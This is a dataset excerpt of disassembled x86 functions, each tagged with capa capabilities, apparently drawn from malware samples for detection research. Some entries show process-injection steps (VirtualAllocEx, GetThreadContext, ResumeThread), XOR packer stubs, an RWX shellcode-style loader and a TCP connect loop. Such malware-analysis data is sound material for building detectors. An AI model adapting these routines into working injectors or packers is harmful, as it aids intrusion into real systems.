joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401c27
Capabilities:
Allocate or change rwx memory
Parse pe header
Terminate process

Disassembly:
push ebp
push 0x10
push 0
push 0x41a210
call fcn.00405a50
mov ebp, dword [esp + 0x14]
mov eax, 0x5a4d
add esp, 0xc
cmp word [ebp], ax
je 0x401c4f
xor al, al
jmp 0x401cf2
push edi
mov edi, dword [ebp + 0x3c]
add edi, ebp
cmp dword [edi], 0x4550
jne 0x401c6a
push dword [esp + 0x10]
call fcn.00401a43
test al, al
jne 0x401c71
xor al, al
jmp 0x401cf1
push ebx
push esi
push 4
push 0x1000
push 4
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov esi, eax
push esi
mov dword [esi], 0x10007
push dword [0x41a214]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
mov ebx, eax
neg ebx
sbb ebx, ebx
and ebx, esi
je 0x401cdb
push edi
push ebx
call fcn.00401aca
push 0x40
push 0x3000
push dword [edi + 0x50]
push dword [edi + 0x34]
push dword [0x41a210]
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
test eax, eax
je 0x401cdb
push ebp
push ebx
push edi
push ebp
push eax
call fcn.00401b3e
push ebx
call fcn.00401be8
test al, al
jne 0x401ced
push 0
push dword [0x41a210]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
xor al, al
jmp 0x401cef
mov al, 1
pop esi
pop ebx
pop edi
pop ebp
ret 8

Function at 0x401cf6
Capabilities:
Resume thread

Disassembly:
push 8
mov eax, 0x4104b5
call fcn.00405e80
mov esi, dword [ebp + 8]
xor eax, eax
sub esp, 0x18
mov ecx, esp
mov dword [ebp - 4], eax
mov byte [ebp - 4], 1
push 0xffffffffffffffff
mov dword [ecx + 0x10], eax
mov dword [ecx + 0x14], 0xf
push eax
mov byte [ecx], al
lea eax, [ebp + 0xc]
push eax
call fcn.004012f9
push ecx
call fcn.0040187b
test eax, eax
je 0x401d62
push esi
push eax
call fcn.00401c27
test al, al
je 0x401d5b
push dword [0x41a214]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor esi, esi
mov ecx, 0x12c
cmp eax, 0xffffffff
cmove esi, ecx
jmp 0x401d72
mov esi, 0xc8
jmp 0x401d72
push 0x64
pop esi
jmp 0x401d72
lea ecx, [ebp + 0xc]
call fcn.00401185
mov eax, esi
call fcn.00405de5
ret 0x1c
Function at 0x402019
Capabilities:
Query or enumerate registry value

Disassembly:
push 0x2c
mov eax, 0x410350
call fcn.00405eb6
mov edi, dword [ebp + 8]
xor ebx, ebx
mov dword [ebp - 0x34], edi
mov dword [ebp - 0x38], ebx
mov dword [ebp - 4], 1
push 0x418e64
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x30], ebx
call fcn.0040250f
lea eax, [ebp - 0x28]
push eax
push 0x20019
push ebx
mov byte [ebp - 4], 3
push dword [ebp + 0x10]
push SysStringLen
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x402097
push ecx
mov ecx, edi
call fcn.004023a4
mov ecx, dword [ebp - 0x30]
lea ecx, [ecx - 0x10]
call fcn.00401682
mov ecx, dword [ebp + 0x10]
add ecx, 0xfffffff0
call fcn.00401682
mov ecx, dword [ebp + 0x14]
add ecx, 0xfffffff0
call fcn.00401682
mov eax, edi
jmp 0x402179
lea eax, [ebp - 0x2c]
push eax
push ebx
lea eax, [ebp - 0x18]
push eax
mov byte [ebp - 4], 4
mov esi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push ebx
push dword [ebp + 0x14]
mov dword [ebp - 0x2c], ebx
push dword [ebp - 0x28]
mov dword [ebp - 0x18], ebx
call esi
push dword [ebp - 0x2c]
mov ebx, dword [ebp + 0x14]
lea ecx, [ebp - 0x30]
call fcn.0040244d
lea ecx, [ebp - 0x2c]
push ecx
push eax
lea eax, [ebp - 0x18]
push eax
push 0
push ebx
push dword [ebp - 0x28]
call esi
mov dword [ebp - 4], 3
push dword [ebp - 0x28]
mov ebx, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov esi, dword [ebp - 0x30]
push dword [esi - 8]
push esi
call fcn.004058f9
pop ecx
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.004025c9
test ebx, ebx
je 0x40212b
push ecx
mov ecx, edi
call fcn.004023a4
lea ecx, [esi - 0x10]
call fcn.00401682
mov ecx, dword [ebp + 0x10]
lea ecx, [ecx - 0x10]
call fcn.00401682
mov ecx, dword [ebp + 0x14]
lea ecx, [ecx - 0x10]
jmp 0x40208b
lea ecx, [esi - 0x10]
call fcn.00402907
add eax, 0x10
mov dword [edi], eax
jmp 0x40210d
call fcn.00405e08
ret 0x10

Function at 0x40230a
Capabilities:
Get process heap force flags

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x4104d8
mov eax, dword fs:[0]
push eax
sub esp, 0x28
mov eax, dword [0x4180a0]
xor eax, esp
mov dword [esp + 0x20], eax
push esi
mov eax, dword [0x4180a0]
xor eax, esp
push eax
lea eax, [esp + 0x30]
mov dword fs:[0], eax
push str.LzqURT5PLD3OfDkB03bPeCCaCPgiwTxDyLHRQbSg57oBxfU88kjI5u3nwWHKtyP0QnnujTablQnkJzVgqt3ad1Q97ee15OItk7XYUHW4MlmYLule1BRU93io
lea ecx, [esp + 0x14]
call fcn.00401158
sub esp, 0x18
mov ecx, esp
xor eax, eax
mov dword [esp + 0x50], eax
push 0xffffffffffffffff
mov dword [ecx + 0x10], eax
mov dword [ecx + 0x14], 0xf
push eax
mov byte [ecx], al
lea eax, [esp + 0x30]
push eax
call fcn.004012f9
push dword [ebp + 0x10]
call fcn.00402283
lea ecx, [esp + 0x10]
mov esi, eax
call fcn.00401185
mov eax, esi
mov ecx, dword [esp + 0x30]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [esp + 0x20]
xor ecx, esp
call fcn.00402f33
mov esp, ebp
pop ebp
ret 0x10
Function at 0x40a098
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x4180a0]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
xor edi, edi
push edi
mov dword [ebp - 0x20], eax
call ebx
mov esi, eax
mov dword [ebp - 0x18], esi
call fcn.00407fb8
mov dword [ebp - 0x14], eax
cmp dword [0x41a124], edi
jne 0x40a189
push 0x800
push edi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
test esi, esi
jne 0x40a116
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x40a269
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x40a269
push str.MessageBoxW
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x40a269
push eax
call ebx
push str.GetActiveWindow
push esi
mov dword [0x41a124], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push esi
mov dword [0x41a128], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push esi
mov dword [0x41a12c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x41a134], eax
test eax, eax
je 0x40a186
push str.GetProcessWindowStation
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x41a130], eax
mov esi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x40a1ae
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x40a1a1
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], edi
je 0x40a1c3
push 4
pop eax
jmp 0x40a26b
cmp dword [ebp - 0x14], edi
je 0x40a1c3
push dword [0x41a124]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x40a1a8
mov eax, dword [0x41a130]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, esi
je 0x40a221
cmp dword [0x41a134], esi
je 0x40a221
push eax
call ebx
push dword [0x41a134]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x40a221
test eax, eax
je 0x40a221
call ecx
test eax, eax
je 0x40a216
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x40a216
test byte [ebp - 8], 1
jne 0x40a221
mov esi, dword [ebp + 0x10]
or esi, 0x200000
jmp 0x40a251
mov eax, dword [0x41a128]
cmp eax, esi
je 0x40a24e
push eax
call ebx
test eax, eax
je 0x40a24e
call eax
mov edi, eax
test edi, edi
je 0x40a24e
mov eax, dword [0x41a12c]
cmp eax, esi
je 0x40a24e
push eax
call ebx
test eax, eax
je 0x40a24e
push edi
call eax
mov edi, eax
mov esi, dword [ebp + 0x10]
push dword [0x41a124]
call ebx
test eax, eax
je 0x40a269
push esi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push edi
call eax
jmp 0x40a26b
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00402f33
leave
ret
Function at 0x10002c56
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], esp
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x10002c99
push 0x2b
push 0x403b387
push 6
call fcn.1000ad18
add esp, 0xc
mov dword [ebp - 0x18], eax
fild dword [ebp - 0x18]
fstp qword [ebp - 0x18]
fld qword [ebp - 0x18]
fadd qword [0x100232d0]
fstp qword [ebp - 0x20]
fld qword [ebp - 0x20]
call fcn.100012c2
mov dword [ebp - 4], eax
push 0x80000301
push 0
push dword [ebp - 4]
push 1
mov ebx, 0x184
call fcn.1000bd60
add esp, 0x10
mov dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x10002cec
push ebx
call fcn.1000ad2a
add esp, 4
pop eax
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esp
push dword [ebp - 4]
push dword [ebp - 8]
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.USER32.dll_GetWindowTextA]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x10002d22
push 0xa8
push 0x403b387
push 6
call fcn.1000ad18
add esp, 0xc
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x10002d39
mov eax, 0x100232c7
jmp 0x10002d5a
mov eax, dword [ebp - 8]
test eax, eax
je 0x10002d55
push eax
mov ebx, eax
call fcn.10001907
inc eax
push eax
call fcn.1000ad24
pop ecx
pop esi
mov edi, eax
rep movsb byte es:[edi], byte [esi]
jmp 0x10002d5a
push eax
mov ebx, dword [ebp - 8]
test ebx, ebx
je 0x10002d6b
push ebx
call fcn.1000ad2a
add esp, 4
pop eax
mov esp, ebp
pop ebp
ret 4

Function at 0x10002e3f
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
cmp dword [ebp + 0xc], 0
jne 0x10002e8d
mov dword [ebp - 4], esp
push 0
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.USER32.dll_ShowWindow]
nop
nop
cmp dword [ebp - 4], esp
je 0x10002e83
push 0x43
push 0x403b621
push 6
call fcn.1000ad18
add esp, 0xc
jmp 0x10002f63
push dword [ebp + 8]
call fcn.10002f69
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 1
jne 0x10002edd
mov dword [ebp - 4], esp
push 7
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.USER32.dll_ShowWindow]
nop
nop
cmp dword [ebp - 4], esp
je 0x10002ed3
push 0xbd
push 0x403b621
push 6
call fcn.1000ad18
add esp, 0xc
jmp 0x10002f63
push dword [ebp + 8]
call fcn.10002fa9
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 1
jne 0x10002f2d
mov dword [ebp - 4], esp
push 5
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.USER32.dll_ShowWindow]
nop
nop
cmp dword [ebp - 4], esp
je 0x10002f23
push 0x137
push 0x403b621
push 6
call fcn.1000ad18
add esp, 0xc
jmp 0x10002f63
mov dword [ebp - 4], esp
push 4
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.USER32.dll_ShowWindow]
nop
nop
cmp dword [ebp - 4], esp
je 0x10002f5e
push 0x16f
push 0x403b621
push 6
call fcn.1000ad18
add esp, 0xc
jmp 0x10002f63
mov esp, ebp
pop ebp
ret 8
Function at 0x10005118
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 4], 0
push 0x80000301
push 0
push 0x2000
push 0x80000301
push 0
push 0x1000
push 2
mov ebx, 0xc8
call fcn.1000bfd0
add esp, 0x1c
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esp
push 0x40
push dword [ebp - 8]
push dword [ebp + 0xc]
push dword [ebp + 8]
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x1000518c
push 0x39
push 0x4012ab7
push 6
call fcn.1000ad18
add esp, 0xc
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x10005202
push 0x80000301
push 0
push 0x2000
push 0x80000301
push 0
push 0x1000
push 2
mov ebx, 0xc8
call fcn.1000bfd0
add esp, 0x1c
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esp
push 0x40
push dword [ebp - 8]
push dword [ebp + 0xc]
push 0
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x100051ff
push 0xda
push 0x4012ab7
push 6
call fcn.1000ad18
add esp, 0xc
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
jmp 0x1000520a
mov esp, ebp
pop ebp
ret 8

Function at 0x1000a767
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0
push dword [ebp + 8]
call fcn.1000a8c8
mov dword [ebp - 4], eax
mov dword [ebp - 0xc], esp
push 0x40
push 0x1000
push dword [ebp - 4]
push 0
xor eax, eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x1000a7c4
push 0x4d
push 0x403b4b5
push 6
call fcn.1000ad18
add esp, 0xc
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], esp
mov ebx, dword [ebp + 8]
mov eax, dword [ebx]
test eax, eax
je 0x1000a7d6
add eax, 8
push eax
xor eax, eax
call dword [sym.imp.KERNEL32.dll_SetHandleCount]
nop
nop
cmp dword [ebp - 0xc], esp
je 0x1000a7fd
push 0x9c
push 0x403b4b5
push 6
call fcn.1000ad18
add esp, 0xc
mov dword [ebp - 0x10], eax
push dword [ebp - 4]
push dword [ebp - 0x10]
push dword [ebp - 8]
call fcn.1000a93e
mov eax, dword [ebp - 8]
jmp 0x1000a816
mov esp, ebp
pop ebp
ret 4
Function at 0x1000b980
Capabilities:
Accept command line arguments

Disassembly:
sub esp, 0x20
push ebx
push esi
push edi
lea ecx, [esp + 0x18]
call fcn.1000cc20
lea eax, [esp + 0x10]
mov dword [esp + 0x18], 0x1001e480
push eax
call dword [sym.imp.KERNEL32.dll_GetCommandLineW]
push eax
call dword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov edi, eax
test edi, edi
mov dword [esp + 0x14], edi
je 0x1000ba42
mov ecx, dword [esp + 0x10]
mov eax, 1
cmp ecx, eax
mov dword [esp + 0xc], eax
jle 0x1000ba3b
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_WideCharToMultiByte]
lea ebx, [edi + 4]
mov ecx, dword [ebx]
push 0
push 0
push 0
push 0
push 0xffffffffffffffff
push ecx
push 0
push 0x3a8
call ebp
mov esi, eax
test esi, esi
jle 0x1000ba26
lea edx, [esi + 1]
push edx
call fcn.1000b010
mov edi, eax
add esp, 4
test edi, edi
je 0x1000ba18
mov eax, dword [ebx]
push 0
push 0
push esi
push edi
push 0xffffffffffffffff
push eax
push 0
push 0x3a8
call ebp
mov byte [eax + edi], 0
push edi
lea ecx, [esp + 0x20]
call fcn.1000ceb0
mov edi, dword [esp + 0x18]
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0x14]
inc eax
add ebx, 4
cmp eax, ecx
mov dword [esp + 0x10], eax
jl 0x1000b9d2
pop ebp
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov ebx, dword [esp + 0x34]
mov eax, dword [ebx]
test eax, eax
je 0x1000ba55
push eax
call fcn.1000d070
add esp, 4
mov edi, dword [esp + 0x28]
shr edi, 2
shl edi, 2
lea ecx, [edi + 8]
push ecx
call fcn.1000b010
mov dword [eax], 1
mov edx, dword [esp + 0x2c]
shr edx, 2
mov dword [eax + 4], edx
mov esi, dword [esp + 0x2c]
mov ecx, dword [esp + 0x24]
add esp, 4
neg esi
sbb esi, esi
and esi, ecx
mov ecx, edi
mov edx, ecx
lea edi, [eax + 8]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea ecx, [esp + 0x18]
mov dword [ebx], eax
mov dword [esp + 0x18], 0x1001e47c
call fcn.1000ce20
pop edi
pop esi
pop ebx
add esp, 0x20
ret

Function at 0x1000bf00
Capabilities:
Encode data using xor

Disassembly:
mov edx, dword [esp + 4]
mov eax, dword [esp + 8]
cmp edx, 1
jle 0x1000bf1e
push esi
lea ecx, [esp + 0x18]
dec edx
mov esi, dword [ecx]
add ecx, 0xc
xor eax, esi
dec edx
jne 0x1000bf13
pop esi
ret

Function at 0x409ebd
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
mov eax, section.sect_0
call 0x409ebd
lcall 0x5de5, 0x8b10c483
jmp fcn.0076d6b4
Function at 0x40a23c
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff0
mov ebx, eax
xor ebp, ebp
xor edi, edi
lea eax, [ebx + 0x10]
call fcn.00403dcc
cmp ebp, 1
sbb eax, eax
inc eax
cmp al, 1
jne 0x40a2a5
mov eax, dword [ebx + 0x10]
mov edx, 0x40a3d8
call fcn.00404190
jne 0x40a274
lea eax, [ebx + 0x10]
call fcn.00403dcc
jmp 0x40a2ad
mov eax, dword [ebx + 0x10]
mov edx, 0x40a3e4
call fcn.00404190
jne 0x40a290
lea eax, [ebx + 0x10]
mov edx, 0x40a3d8
call fcn.00403e20
cmp dword [ebx + 0x10], 0
jne 0x40a2ad
lea eax, [ebx + 0x10]
mov edx, 0x40a3e4
call fcn.00403e20
jmp 0x40a2ad
lea eax, [ebx + 0x10]
call fcn.00403dcc
mov eax, ebx
call fcn.0040a08c
mov eax, dword [0x40b158]
inc dword [eax]
push 6
push 1
push 2
call sub.wsock32.dll_socket
mov esi, eax
mov word [esp], 2
push 0x8b
call sub.wsock32.dll_htons
mov word [esp + 2], ax
mov eax, dword [ebx + 0x10]
call fcn.00404244
push eax
call sub.wsock32.dll_inet_addr
mov dword [esp + 4], eax
push 0x10
lea eax, [esp + 4]
push eax
push esi
call sub.wsock32.dll_connect
inc eax
je 0x40a307
or edi, 0xffffffff
jmp 0x40a394
mov eax, dword [0x40b170]
inc dword [eax]
mov word [esp], 2
push 0x1bd
call sub.wsock32.dll_htons
mov word [esp + 2], ax
mov eax, dword [ebx + 0x10]
call fcn.00404244
push eax
call sub.wsock32.dll_inet_addr
mov dword [esp + 4], eax
push 0x10
lea eax, [esp + 4]
push eax
push esi
call sub.wsock32.dll_connect
inc eax
je 0x40a34a
or edi, 0xffffffff
jmp 0x40a394
mov eax, dword [0x40b170]
inc dword [eax]
mov word [esp], 2
push 0x75d7
call sub.wsock32.dll_htons
mov word [esp + 2], ax
mov eax, dword [ebx + 0x10]
call fcn.00404244
push eax
call sub.wsock32.dll_inet_addr
mov dword [esp + 4], eax
push 0x10
lea eax, [esp + 4]
push eax
push esi
call sub.wsock32.dll_connect
inc eax
je 0x40a38d
or edi, 0xffffffff
jmp 0x40a394
mov eax, dword [0x40b170]
inc dword [eax]
test edi, edi
je 0x40a3b7
push esi
call sub.wsock32.dll_closesocket
lea eax, [ebx + 0x14]
mov ecx, dword [ebx + 0x10]
mov edx, 0x40a3f0
call fcn.00404090
mov eax, ebx
call fcn.00409f64
mov ebp, eax
push 0x200
call sub.KERNEL32.DLL_Sleep
jmp 0x40a251

Function at 0x432005
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
mov eax, section..reloc
nop
mov ebx, 0x40c7d0
nop
mov ecx, 0x29ec2424
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43204e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
nop
inc eax
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
jne 0x432024
nop
nop
mov eax, section..rdata
nop
mov ebx, 0x42f314
mov ecx, 0x4cf65fbe
nop
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x432084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
jne 0x43206c
nop
nop
nop
nop
popal
nop
nop
nop
nop
nop
jmp 0x431219
Function at 0x10004830
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov eax, dword [ecx]
mov edx, eax
xor edx, esi
lock cmpxchg dword [ecx], edx
jne 0x10004839
xor eax, esi
pop esi
pop ebp
ret 4

Function at 0x10004850
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov eax, dword [ecx]
mov edx, eax
xor edx, esi
lock cmpxchg dword [ecx], edx
jne 0x10004859
xor eax, esi
pop esi
pop ebp
ret 4

Function at 0x100055a0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov eax, dword [ecx]
mov edx, eax
xor edx, esi
lock cmpxchg dword [ecx], edx
jne 0x100055a9
pop esi
pop ebp
ret 8

Function at 0x100055c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov eax, dword [ecx]
mov edx, eax
xor edx, esi
lock cmpxchg dword [ecx], edx
jne 0x100055c9
pop esi
pop ebp
ret 4

Function at 0x100055e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
mov eax, dword [ecx]
mov edx, eax
xor edx, esi
lock cmpxchg dword [ecx], edx
jne 0x100055e9
pop esi
pop ebp
ret 8

Function at 0x100186b0
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
mov eax, dword [0x1018092c]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x101837c8]
push ebx
xor ebx, ebx
mov dword [ebp - 0x60], ebx
test eax, eax
jne 0x10018788
push esi
push 0x55
pop esi
push esi
push 0x101837d0
push 0x5c
push ebx
call dword [sym.imp.kernel32.dll_GetLocaleInfoEx]
test eax, eax
jle 0x10018772
push esi
lea eax, [ebp - 0x5c]
push ebx
push eax
call fcn.100a9420
add esp, 0xc
mov eax, ebx
cmp word [eax*2 + 0x101837d0], 0x5f
mov cl, 0x2d
je 0x10018712
mov cl, byte [eax*2 + 0x101837d0]
mov byte [ebp + eax - 0x5c], cl
test cl, cl
je 0x1001871f
inc eax
cmp eax, esi
jl 0x100186fe
cmp eax, esi
push 0x41
sbb al, al
and byte [ebp - 8], al
call sym.icucnv69.dll_private:_signed_char___thiscall_icu_69::UnicodeString::cloneArrayIfNeeded_int__int__signed_char__int____signed_char_
mov esi, eax
pop ecx
test esi, esi
je 0x10018772
lea eax, [ebp - 0x60]
push eax
push 0x40
lea eax, [ebp - 0x5c]
push esi
push eax
call sym.icucnv69.dll_private:_signed_char___thiscall_icu_69::UnicodeString::cloneArrayIfNeeded_int__int__signed_char__int____signed_char_
add esp, 0x10
cmp dword [ebp - 0x60], ebx
jg 0x1001876b
push 0x10017f70
push 0x17
mov byte [eax + esi], bl
mov dword [0x101837c8], esi
mov byte [0x101837cc], 1
call sym.icucnv69.dll_private:_signed_char___thiscall_icu_69::UnicodeString::cloneArrayIfNeeded_int__int__signed_char__int____signed_char_
pop ecx
jmp 0x10018771
push esi
call sym.icucnv69.dll_private:_signed_char___thiscall_icu_69::UnicodeString::cloneArrayIfNeeded_int__int__signed_char__int____signed_char_
pop ecx
mov ecx, dword [0x101837c8]
mov eax, 0x100fef10
test ecx, ecx
pop esi
cmovne eax, ecx
mov dword [0x101837c8], eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.10084499
leave
ret
Function at 0x100608c0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x100608cf
pop dword [ebp - 0x18]
mov eax, 0x100608cf
sub dword [ebp - 0x18], eax
push 0x40
push 0x1000
push 0x7090c
push 0
mov eax, 0x3d52bc0e
sub eax, 0x2d438aca
add eax, dword [ebp - 0x18]
call dword [eax]
mov ecx, 0x42f9
mov edi, eax
mov ebx, 0x7ab67bf9
sub ebx, 0x6a9d6bf9
add ebx, dword [ebp - 0x18]
mov edx, 0xcf528b10
add edx, 0xa1f7fe9f
mov esi, dword [ebx]
sub dword [ebp - 4], 0xc77acc4c
add esi, edx
add dword [ebp - 4], 0xbb9fcd5
mov dword [edi], esi
xor dword [ebp - 8], edi
add edi, 4
add ebx, 0xfd714fbd
add ebx, 0x28eb047
loop 0x10060923
add eax, 0xfeb7
mov ebx, eax
add eax, 0x25c2c7b8
add eax, 0xda3d384d
mov ecx, 0x23db6166
sub ecx, 0x13db6166
add ecx, dword [ebp - 0x18]
call ebx
leave
ret
Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
mov ebx, 0x40de38
nop
mov ecx, 0x59320ee3
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x43304e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x433024
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x4304d8
mov ecx, 0x3cb0137c
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x433084
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
add eax, 4
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x43306c
nop
nop
nop
nop
popal
nop
nop
jmp 0x431219